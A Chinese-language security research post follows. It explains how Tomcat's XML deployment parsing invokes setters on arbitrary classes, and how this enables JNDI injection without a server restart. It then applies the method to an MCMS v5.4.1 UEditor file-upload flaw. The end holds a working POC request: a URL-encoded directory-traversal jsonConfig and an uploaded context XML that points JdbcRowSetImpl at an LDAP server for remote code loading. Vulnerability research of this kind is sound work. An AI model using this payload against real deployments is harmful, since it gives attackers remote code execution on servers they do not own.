绕过后缀校验:利用 Tomcat XML 配置机制实现 JNDI 注入
在日常漏洞挖掘中,对于任意文件上传漏洞往往会对后缀进行严格的校验,这让我们很难获取的美味的shell,但是在tomcat环境下,它有一套解析xml文件的流程,会对指定目录下的xml文件里面的特殊标签进行setter方法的调用,结合fastjson及jndi,又给了我们许多的操作空间,下面来分析一下环境搭建导入依赖xml文件扫描主文件在Bootstrap.class启动的时候会调用自己的load方法
在日常漏洞挖掘中,对于任意文件上传漏洞往往会对后缀进行严格的校验,这让我们很难获取的美味的shell,但是在tomcat环境下,它有一套解析xml文件的流程,会对指定目录下的xml文件里面的特殊标签进行setter方法的调用,结合fastjson及jndi,又给了我们许多的操作空间,下面来分析一下
环境搭建
导入依赖
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>xml文件扫描
主文件在Bootstrap.class
启动的时候会调用自己的load方法

在load方法里面又会反射调用Catalina类的load方法

首先创建了一个Digester

然后读取conf目录下的server.xml文件的内容

然后对文件内容进行一个处理

然后一直跟栈到Digester#startElement方法中,这里对server.xml文件的Listener字段做了一个处理

跟进一下begin方法
这里会获取Linster字段下className指定的类,并且实例化

这里就获取到了我server.xml文件里面className指定的类


在实例化之后,将会调用SetPropertiesRule#begin进行第二次begin方法的调用,进行属性的赋值,然后又通过调用IntrospectionUtils#setProperty方法对获取到的属性值进行赋值

然后反射调用实例化类的setter方法

所以如果我在server.xml加这样一段标签,是不是就会和fastjson一样,调用指定类的setter方法,进行jndi注入呢


最终的调用栈
setProperty:176, IntrospectionUtils (org.apache.tomcat.util)
setProperty:47, IntrospectionUtils (org.apache.tomcat.util)
begin:72, SetPropertiesRule (org.apache.tomcat.util.digester)
startElement:1188, Digester (org.apache.tomcat.util.digester)
startElement:509, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
emptyElement:182, AbstractXMLDocumentParser (com.sun.org.apache.xerces.internal.parsers)
scanStartElement:1344, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
next:2787, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
next:606, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
scanDocument:510, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
parse:848, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:777, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers)
parse:1213, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
parse:643, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
parse:1461, Digester (org.apache.tomcat.util.digester)
load:578, Catalina (org.apache.catalina.startup)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
load:311, Bootstrap (org.apache.catalina.startup)
main:494, Bootstrap (org.apache.catalina.startup)启动
扫描完xml文件以后就启动了

这里看下Host的启动方法

跟进一下有三处方法调用

先看deployDescriptors,这里会conf/Catalina/localhost目录下的xml文件

然后构建一个DeployDescriptor添加到es线程池中去,多线程执行DeployDescriptor#run方法

HostConfig#deployDescriptor方法,也会将这个目录下的XML文件通过调用Digester@parse进行解析,具体的解析步骤与前面的web.xml扫描类似

只不过这里的字段是Manage了

所以可以构造

最终调用栈:
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect) [2]
invoke:498, Method (java.lang.reflect)
setProperty:70, IntrospectionUtils (org.apache.tomcat.util)
setProperty:47, IntrospectionUtils (org.apache.tomcat.util)
begin:72, SetPropertiesRule (org.apache.tomcat.util.digester)
startElement:1188, Digester (org.apache.tomcat.util.digester)
startElement:510, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
scanStartElement:1361, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
next:2786, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
next:605, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
scanDocument:507, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
parse:867, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:796, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:142, XMLParser (com.sun.org.apache.xerces.internal.parsers)
parse:1216, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
parse:644, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
parse:1480, Digester (org.apache.tomcat.util.digester)
execute:170, MbeansDescriptorsDigesterSource (org.apache.tomcat.util.modeler.modules)
loadDescriptors:149, MbeansDescriptorsDigesterSource (org.apache.tomcat.util.modeler.modules)
load:590, Registry (org.apache.tomcat.util.modeler)
loadDescriptors:669, Registry (org.apache.tomcat.util.modeler)
createRegistry:546, MBeanUtils (org.apache.catalina.mbeans)
<clinit>:71, MBeanUtils (org.apache.catalina.mbeans)
<clinit>:66, GlobalResourcesLifecycleListener (org.apache.catalina.mbeans)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
begin:117, ObjectCreateRule (org.apache.tomcat.util.digester)
startElement:1188, Digester (org.apache.tomcat.util.digester)
startElement:510, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
emptyElement:183, AbstractXMLDocumentParser (com.sun.org.apache.xerces.internal.parsers)
scanStartElement:1341, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
next:2786, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
next:605, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
scanDocument:507, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
parse:867, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:796, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:142, XMLParser (com.sun.org.apache.xerces.internal.parsers)
parse:1216, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
parse:644, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
parse:1461, Digester (org.apache.tomcat.util.digester)
load:578, Catalina (org.apache.catalina.startup)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect) [1]
invoke:498, Method (java.lang.reflect)
load:311, Bootstrap (org.apache.catalina.startup)
main:494, Bootstrap (org.apache.catalina.startup)接下来看deployWARs方法
看名字就可以猜出来这个函数方法是对WAR包进行部署,webapps目录下

看DeployWar#run方法

和上个方法一样的

这里会对WAR包中的META-INF/context.xml文件调用Digester#parse进行解析


总而言之只要存在任意文件上传漏洞及目录穿越传到指定目录,就可以执行jndi注入
自动触发
由于 启动过程中会有一个后台线程,每十秒就会启动一次

container为StandarHost时



一直跟到这儿,由于上面已经满足if条件了,直接调用check方法

而check函数里面又有deployApps方法

同样存在3个方法的调用

这样一来我们无需重启tomcat也可以触发xml文件解析,给我们提供了更多的操作空间
实战
MCMS v5.4.1前台任意文件上传漏洞
漏洞文件webapp\static\plugins\ueditor\1.4.3.3\jsp\lib\ueditor-1.1.2.jar!\com\baidu\ueditor\ActionEnter.class
public class ActionEnter {
private HttpServletRequest request;
private String rootPath;
private String contextPath;
private String actionType;
private ConfigManager configManager;
public ActionEnter(HttpServletRequest request, String rootPath) {
this.request = request;
this.rootPath = rootPath;
this.actionType = request.getParameter("action");
this.contextPath = request.getContextPath();
// request.getRequestURI() 也会被传入 ConfigManager
this.configManager = ConfigManager.getInstance(rootPath, contextPath, request.getRequestURI());
}
public String invoke(){
// ...
Map<String, Object> conf = configManager.getConfig(actionTypeAsInt);
Uploader uploader = new Uploader(request, conf);
State state = uploader.doExec();
return state.toJSONString();
}
}ActionEnter 只是把 request 的参数扔给 ConfigManager,没有对 jsonConfig 做额外校验,跟进ConfigManager.getConfig方法
public Map<String,Object> getConfig(int type) {
Map<String,Object> conf = new HashMap<>();
// ... 根据类型设置 maxSize, allowFiles, fieldName ...
String savePath = jsonConfig.getString("filePathFormat"); // <--- 直接取出
conf.put("savePath", savePath); // <-- 最终会被 Uploader 读取并用于拼路径
conf.put("rootPath", this.rootPath);
return conf;
}savePath 直接取自 jsonConfig 并返回给 Uploader,savePath 未被限制 ,可以目录穿越
public static State save(HttpServletRequest request, Map<String,Object> conf) {
// 解析 multipart,找到第一个 file item
FileItemStream item = ...;
if(item == null) {
return new BaseState(false, 7); // no file
}
String savePath = (String) conf.get("savePath"); // <-- 来自 ConfigManager.jsonConfig
String originFileName = item.getName(); // <--- 可控(上传时附带)
String suffix = FileType.getSuffixByFilename(originFileName);
if (!validType(suffix, (String[]) conf.get("allowFiles"))) {
return new BaseState(false, 8); // type not allowed
}
savePath = PathFormat.parse(savePath, originFileName); // <-- 解析模板(但不移除 ../)
String rootPath = (String) conf.get("rootPath");
String physicalPath = rootPath + savePath; // <-- 若 savePath 含 ../ 则会超出 rootPath
InputStream is = item.openStream();
State state = StorageManager.saveFileByInputStream(is, physicalPath, maxSize);
// post-process: set url/type/original
return state;
}但是会对上传文件后缀做限制
/* 上传文件配置 */
"fileActionName": "uploadfile", /* controller里,执行上传视频的action名称 */
"fileFieldName": "upfile", /* 提交的文件表单名称 */
"filePathFormat": "/ueditor/jsp/upload/file/{yyyy}{mm}{dd}/{time}{rand:6}", /* 上传保存路径,可以自定义保存路径和文件名格式 */
"fileUrlPrefix": "", /* 文件访问路径前缀 */
"fileMaxSize": 51200000, /* 上传大小限制,单位B,默认50MB */
"fileAllowFiles": [
".png", ".jpg", ".jpeg", ".gif", ".bmp",
".flv", ".swf", ".mkv", ".avi", ".rm", ".rmvb", ".mpeg", ".mpg",
".ogg", ".ogv", ".mov", ".wmv", ".mp4", ".webm", ".mp3", ".wav", ".mid",
".rar", ".zip", ".tar", ".gz", ".7z", ".bz2", ".cab", ".iso",
".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".txt", ".md", ".xml"
], /* 上传文件格式显示 */POC
POST /static/plugins/ueditor/1.4.3.3/jsp/editor.do?jsonConfig=%7b%66%69%6c%65%50%61%74%68%46%6f%72%6d%61%74%3a%27%2f%7b%2e%7d%2e%2f%7b%2e%7d%2e%2f%7b%2e%7d%2e%2f%2f%63%6f%6e%66%2f%43%61%74%61%6c%69%6e%61%2f%6c%6f%63%61%6c%68%6f%73%74%2f%31%27%7d&action=uploadfile HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data;boundary=------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA
Content-Length: 429
--------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA
Content-Disposition: form-data; name="upload"; filename="2.xml"
<?xml version='1.0' encoding='utf-8'?>
<Context>
<Manager className="com.sun.rowset.JdbcRowSetImpl"
dataSourceName="ldap://127.0.0.1:8085/SbfXuVhz"
autoCommit="true"></Manager>
</Context>
--------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA--

本文分析Tomcat在解析XML时触发setter方法调用的机制,结合任意文件上传与目录穿越实现无需重启的JNDI注入攻击。
由 AI 根据全文自动生成,仅供参考,以原文为准
最后的 {filePathFormat:'/{.}./{.}./{.}.//conf/Catalina/localhost/1} 怎么解析到 ../../../conf/Catalina/localhost/1 目录下的呢?